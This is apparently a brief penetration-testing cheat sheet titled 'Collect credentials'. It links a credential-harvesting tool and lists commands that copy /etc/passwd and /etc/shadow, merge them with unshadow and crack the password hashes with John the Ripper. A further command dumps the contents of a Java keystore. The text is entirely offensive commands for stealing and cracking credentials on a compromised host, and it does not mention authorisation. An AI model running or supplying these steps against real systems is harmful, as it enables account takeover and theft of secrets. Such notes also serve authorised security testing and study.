Collect credentials

Tools

https://github.com/0xmitsurugi/gimmecredz

Crack Shadow

cp /etc/passwd .
cp /etc/shadow .
unshadow passwd shadow > unshadowed
john --format=md5crypt unshadowed

Keystore

keytool -list -v -keystore keystore.jks